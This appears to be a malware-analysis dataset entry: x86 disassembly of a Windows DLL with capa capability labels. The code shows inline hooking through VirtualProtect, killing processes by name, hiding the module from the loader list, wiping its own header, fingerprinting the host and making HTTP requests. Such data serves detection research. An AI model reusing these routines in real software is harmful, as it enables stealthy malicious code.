joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007360
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.1002140e
add esp, 4
mov ebx, eax
lea eax, [ebp - 4]
push eax
push 0x40
push edi
push ebx
mov dword [ebp + 0xc], ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test edi, edi
jle 0x100073b2
push esi
mov esi, dword [ebp + 8]
sub ebx, esi
nop
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100073a2
mov cl, byte [esi]
mov byte [ebx + esi], cl
inc esi
dec edi
jne 0x10007390
mov eax, dword [ebp + 0xc]
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x100073c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.1002140e
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
mov dword [ebp - 8], esi
call ebx
mov eax, dword [ebp + 8]
lea ecx, [eax + edi]
mov dword [ebp - 4], ecx
push 0x1c
lea edx, [ebp - 0x28]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp + 0xc]
push ecx
push 0x40
push edi
push esi
mov dword [ebp + 8], eax
call ebx
mov edx, dword [ebp + 8]
push edi
push edx
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov ecx, dword [ebp + 0xc]
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push ecx
push edi
push esi
call ebx
mov eax, dword [ebp - 0x1c]
add esi, eax
add eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 4]
jb 0x100073f3
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10007450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp + 8]
push eax
push 0x40
push 1
push esi
call edi
mov edx, dword [ebp + 8]
lea ecx, [ebp + 8]
push ecx
push edx
push 1
push esi
mov byte [esi], 0xcc
call edi
pop edi
pop esi
pop ebp
ret 4
Function at 0x10007480
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x1002d018]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [esp + 0x10]
push eax
push edi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10007529
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp + 8]
lea eax, [esp + 0x34]
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100074f0
test dl, dl
je 0x100074ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100074f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100074d0
xor eax, eax
jmp 0x100074f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10007519
mov ecx, dword [esp + 0x18]
push ecx
push eax
push 1
call ebx
mov esi, eax
test esi, esi
je 0x10007519
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100074c7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10021450
mov esp, ebp
pop ebp
ret

Function at 0x10007550
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10029b40
push 0x10021b99
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1002d018]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, ecx
mov esi, edx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x1c], eax
mov ecx, 5
cmp eax, ecx
jae 0x100075c2
mov byte [eax + esi], 0x90
inc eax
jmp 0x100075af
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x20]
push eax
push ecx
push esi
call ebx
jmp 0x100075d9
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007600
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0xa7
xor eax, eax
mov dl, byte [eax + 0x10028144]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], dl
jns 0x10007634
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1e
jl 0x10007617
mov ecx, 0x10028164
sub ecx, 0x2e789121
lea eax, [ebp - 0x10]
mov byte [ebp - 0x12], 0
call fcn.1001d2e0
lea ecx, [ebp - 0x30]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
push 0x10019de0
push 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov word [ebp - 8], cx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], cx
mov byte [ebp - 0x12], cl
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 8
call fcn.10021450
mov esp, ebp
pop ebp
ret

Function at 0x100076b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10029b20
push 0x10021b99
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1002d018]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, ecx
mov esi, edx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
push 6
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x1c], eax
mov ecx, 6
cmp eax, ecx
jae 0x10007722
mov byte [eax + esi], 0x90
inc eax
jmp 0x1000770f
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x20]
push eax
push ecx
push esi
call ebx
jmp 0x10007739
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007760
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
lea eax, [edi + 5]
push esi
push eax
call fcn.1002140e
add esp, 4
mov esi, eax
lea eax, [ebp + 8]
push eax
push 0x40
lea eax, [edi + 5]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.MSVCR100.dll_memcpy
add esi, edi
sub ebx, esi
add esp, 0xc
lea ecx, [ebx + edi - 5]
mov eax, esi
mov byte [esi], 0xe9
mov dword [esi + 1], ecx
pop esi
sub eax, edi
pop ebx
pop ebp
ret
Function at 0x100077b0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x1000781b
push esi
cmp ecx, edx
jne 0x10007811
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x100077d3
mov esi, dword [eax]
mov dword [ecx], esi
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x100077df
mov esi, dword [eax]
mov dword [esi + 4], ecx
mov ecx, dword [eax + 0x14]
test ecx, ecx
je 0x100077eb
mov esi, dword [eax + 0x10]
mov dword [ecx], esi
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x100077f8
mov esi, dword [eax + 0x14]
mov dword [ecx + 4], esi
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x10007804
mov esi, dword [eax + 0xc]
mov dword [esi], ecx
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x10007811
mov esi, dword [eax + 0xc]
mov dword [ecx + 4], esi
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x100077c4
pop esi
ret

Function at 0x10007820
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 8]
push ecx
push 0x40
push edx
push eax
call edi
push 0xc8
push 0
push esi
call sub.MSVCR100.dll_memset
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
add esp, 0xc
push 0
push ecx
push edx
push eax
call edi
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10010020
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [0x10030938]
mov edx, dword [0x10033bf0]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
push esi
push edi
add edx, 0x1c
push edx
call eax
cmp dword [eax], 0
je 0x100100a5
cmp dword [0x10033d7c], 0
jne 0x10010054
cmp dword [0x10033df0], 0
je 0x100100a5
mov ecx, dword [0x10030938]
mov edx, dword [0x10033bf0]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
add edx, 0xf0
push edx
call eax
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 4]
push ecx
push 0x40
mov esi, eax
push 1
push esi
call edi
push 1
push 0x1002813c
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 1
push esi
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [0x10033bf0]
mov ecx, dword [0x10030938]
mov edx, dword [ecx]
mov edx, dword [edx + 4]
add eax, 0xf0
push eax
call edx
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push esi
call edi
push 1
push 0x10028250
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push 1
push esi
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10010280
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x100336c4], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
jne 0x100102e8
mov ecx, dword [0x10030938]
mov edx, dword [0x10033bf0]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
push edi
add edx, 0x134
push edx
call eax
push 0xa
mov edi, eax
call fcn.1002140e
add esp, 4
lea ecx, [ebp - 4]
push ecx
push 0x40
mov esi, eax
push 0xa
push esi
call ebx
mov edx, dword [edi]
mov dword [esi], edx
mov al, byte [edi + 4]
mov byte [esi + 4], al
add esi, 5
sub edi, esi
mov dword [esi + 1], edi
mov byte [esi], 0xe9
add esi, 0xfffffffb
mov dword [0x100336c4], esi
pop edi
cmp dword [0x10033d34], 0
jle 0x100103b5
mov ecx, dword [0x10030938]
mov eax, dword [0x10033bf0]
mov edx, dword [ecx]
mov edx, dword [edx + 4]
add eax, 0x1c
push eax
call edx
cmp dword [eax], 0
je 0x100103b5
mov eax, dword [0x10033d34]
cmp eax, 1
jne 0x10010322
fld1
jmp 0x10010347
cmp eax, 2
jne 0x1001032f
fld dword [0x10028fa8]
jmp 0x10010347
cmp eax, 3
jne 0x1001033c
fld dword [0x10028fa4]
jmp 0x10010347
cmp eax, 4
jne 0x1001034d
fld dword [0x10028fa0]
fstp dword [0x10033ea0]
mov ecx, dword [0x10030938]
mov edx, dword [0x10033bf0]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
add edx, 0x1c
push edx
call eax
mov ecx, dword [eax]
mov eax, dword [0x10033bf0]
mov dword [0x10030464], ecx
mov ecx, dword [0x10030938]
mov edx, dword [ecx]
mov edx, dword [edx + 4]
add eax, 0x134
push eax
call edx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push esi
call ebx
push 1
push 0x1002813c
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push 1
push esi
call ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x10030938]
mov edx, dword [0x10033bf0]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
add edx, 0x134
push edx
call eax
lea ecx, [ebp - 4]
push ecx
push 0x40
mov esi, eax
push 1
push esi
call ebx
push 1
push 0x1002824c
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 1
push esi
call ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10011510
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x10033d94], 0
push esi
push edi
je 0x10011622
mov ecx, dword [0x10030938]
mov edx, dword [0x10033bf0]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
add edx, 0x1c
push edx
call eax
cmp dword [eax], 0
je 0x10011622
push 0x20
mov dword [0x1002f904], 0x10006b80
call fcn.10006b80
movsx ecx, ax
shr ecx, 0x10
test ecx, ecx
je 0x100115cb
cmp byte [0x10031c58], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
je 0x10011583
cmp dword [0x10031c5c], 0
je 0x100115d2
call esi
mov edx, dword [0x10031c5c]
inc edx
cmp edx, eax
ja 0x100115d2
mov byte [0x10031c58], 1
call esi
mov ecx, dword [0x10030938]
mov edx, dword [0x10033bf0]
mov dword [0x10031c5c], eax
mov eax, dword [ecx]
mov eax, dword [eax + 4]
add edx, 0x138
push edx
call eax
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 4]
push ecx
push 0x40
lea esi, [eax + 2]
push 1
push esi
call edi
push 1
push 0x10028254
jmp 0x10011657
mov byte [0x10031c58], 0
mov ecx, dword [0x10030938]
mov eax, dword [0x10033bf0]
mov edx, dword [ecx]
mov edx, dword [edx + 4]
add eax, 0x138
push eax
call edx
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esi, [eax + 2]
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push esi
call edi
push 1
push 0x10028258
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push 1
push esi
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x10030938]
mov edx, dword [0x10033bf0]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
add edx, 0x138
push edx
call eax
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 4]
push ecx
push 0x40
lea esi, [eax + 2]
push 1
push esi
call edi
push 1
push 0x10028258
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 1
push esi
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10013ff0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x94
lea eax, [ebp - 0x98]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x98]
push ecx
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0x94]
cmp eax, 5
jne 0x10014058
mov eax, 1
cmp dword [ebp - 0x90], eax
je 0x1001404a
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10021450
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x100140aa
mov eax, dword [ebp - 0x90]
test eax, eax
jne 0x1001407a
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10021450
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x10014092
mov eax, 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10021450
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x10014048
mov eax, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10021450
mov esp, ebp
pop ebp
ret
cmp eax, 0xa
jne 0x10014048
cmp dword [ebp - 0x90], 0
jne 0x10014048
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 5
call fcn.10021450
mov esp, ebp
pop ebp
ret

Function at 0x100140d0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x1002d4a4
push 0x10033bb0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.10013ff0
mov esi, dword [sym.imp.MSVCR100.dll_sprintf]
dec eax
cmp eax, 4
ja case.default.0x100140f6
jmp dword [eax*4 + 0x100141b4]
cmp dword [ebp - 4], 1
jne case.0x100140f6.2
push str.Win_XP
push 0x10033fc8
call esi
add esp, 8
call fcn.10013ff0
dec eax
cmp eax, 4
ja case.default.0x1001411d
jmp dword [eax*4 + 0x100141c8]
cmp dword [ebp - 4], 2
jne case.0x1001411d.1
push str.Win_Vista
push 0x10033fc8
call esi
add esp, 8
call fcn.10013ff0
dec eax
cmp eax, 4
ja case.default.0x10014144
jmp dword [eax*4 + 0x100141dc]
cmp dword [ebp - 4], 3
jne case.0x10014144.1
push str.Win_7
push 0x10033fc8
call esi
add esp, 8
call fcn.10013ff0
dec eax
cmp eax, 4
ja case.default.0x1001416b
jmp dword [eax*4 + 0x100141f0]
cmp dword [ebp - 4], 4
jne case.0x1001416b.1
push str.Win_8
push 0x10033fc8
call esi
add esp, 8
call fcn.10013ff0
dec eax
cmp eax, 4
ja case.default.0x10014192
jmp dword [eax*4 + 0x10014204]
cmp dword [ebp - 4], 5
jne case.0x10014192.1
push str.Wi_10
push 0x10033fc8
call esi
add esp, 8
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10014de0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x18]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
lea edx, [ebp - 0x230]
mov dword [ebp - 0x220], eax
push edx
lea eax, [ebp - 0x20c]
push eax
push 0
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x230], 0x200
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
lea ecx, [ebp - 0x21c]
push ecx
lea edx, [ebp - 0xc]
push 5
push edx
mov dword [ebp - 0x21c], 0x544547
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x22c], eax
test eax, eax
je 0x10014f6e
push 0
push 0
push 3
push 0
push 0
push 0x50
push esi
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x224], esi
test esi, esi
je 0x10014f61
mov ecx, 0x10028490
sub ecx, 0x25eafdfb
lea eax, [ebp - 0x218]
call fcn.1001e150
push 0
push 0x8404f700
push 0
push 0
push eax
push edi
lea ecx, [ebp - 0xc]
push ecx
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov byte [ebp - 0x210], al
test esi, esi
je 0x10014f5b
mov edi, dword [ebp - 0x220]
xor edx, edx
test edi, edi
je 0x10014f00
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014ef5
sub eax, edx
mov edx, eax
xor eax, eax
test ebx, ebx
je 0x10014f1e
mov eax, ebx
lea ecx, [eax + 1]
mov dword [ebp - 0x220], ecx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014f11
sub eax, dword [ebp - 0x220]
push edx
push edi
push eax
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov edi, dword [ebp - 0x228]
lea edx, [ebp - 0x21c]
push edx
push 0x64
push edi
push esi
mov dword [ebp - 0x21c], 0x64
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x21c]
push esi
mov byte [edi + eax], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [ebp - 0x224]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021450
mov esp, ebp
pop ebp
ret 0x14
Function at 0x10015500
Capabilities:
Get disk information

Disassembly:
push esi
push 0x64
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
push 0xff
push 0x1002f908
push 0x1002f06c
push 0x1002fc3c
push 0x10031b40
push 0xff
push 0x10031918
push 0x100284b8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [0x10031b40]
mov ecx, eax
shl ecx, 5
add ecx, eax
imul eax, eax, 0x19
push ecx
push eax
push str._2x_2x
push esi
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0x10
mov eax, esi
pop esi
ret
Function at 0x10019720
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1002fe6c]
test eax, eax
je 0x10019732
mov ecx, dword [eax + 2]
jmp 0x10019734
xor ecx, ecx
mov ecx, dword [ecx]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x1002fc6c], ecx
mov dword [0x1002fc68], 0x100196f0
mov dword [0x1002f05c], 0x1002fc68
xor esi, esi
jmp 0x10019765
mov eax, dword [0x1002fe6c]
lea edx, [ebp - 4]
push edx
push 0x40
push 1
lea eax, [eax + esi + 2]
push eax
call edi
mov ecx, dword [0x1002fe6c]
mov dl, byte [esi + 0x1002f05c]
lea eax, [ecx + esi + 2]
lea ecx, [ebp - 4]
push ecx
mov byte [eax], dl
mov edx, dword [ebp - 4]
push edx
push 1
push eax
call edi
inc esi
cmp esi, 3
jle 0x10019760
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100199d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.xxxxxxx____xxx_
push 0x10028cec
push 0x128000
mov ecx, 0x42cd4ae6
lea eax, [ebp - 0x10]
call fcn.10020520
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
push eax
call fcn.10003430
mov esi, eax
xor eax, eax
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], al
push str.xxxxxxxxx
lea eax, [esi + 6]
push 0x10028d14
mov dword [0x10033274], eax
push 0x128000
mov ecx, 0x42cd4ae6
lea eax, [ebp - 0x1c]
call fcn.10020520
push eax
call edi
push eax
call fcn.10003430
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x14], cl
add esp, 0x10
lea ecx, [eax + 6]
mov dword [0x10031b50], ecx
test esi, esi
je 0x10019a81
mov ecx, 0x100194f0
mov edx, esi
call fcn.100076b0
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10021450
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x10019aa1
mov ecx, 0x10019510
mov edx, eax
call fcn.100076b0
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10021450
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0x100199b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10021450
mov esp, ebp
pop ebp
ret
Function at 0x10019ad0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
cmp byte [ebx], 0x6a
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
jne 0x10019b2b
lea eax, [ebp + 8]
push eax
push 0x80
push 7
push esi
call edi
push 7
push ebx
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp + 8]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push 7
push esi
call edi
mov ecx, dword [ebp + 0xc]
add ecx, 7
lea edx, [esi + 7]
call fcn.10007550
lea eax, [ebp + 8]
push eax
push 0x40
push 5
push esi
call edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp + 8]
push ecx
push 0x80
push 5
push esi
call edi
push 5
push ebx
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp + 8]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 5
push esi
call edi
mov ecx, dword [ebp + 0xc]
add ecx, 5
lea edx, [esi + 5]
call fcn.10007550
lea ecx, [ebp + 8]
push ecx
push 0x40
push 7
push esi
call edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001a2f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x1001a338
mov edx, dword [ebp + 8]
push esi
mov dword [0x1002fc54], edx
call fcn.100077b0
mov esi, edx
call fcn.10007820
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10015850
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10019f90
push 0
push 0
call esi
pop esi
mov eax, 1
pop ebp
ret 0xc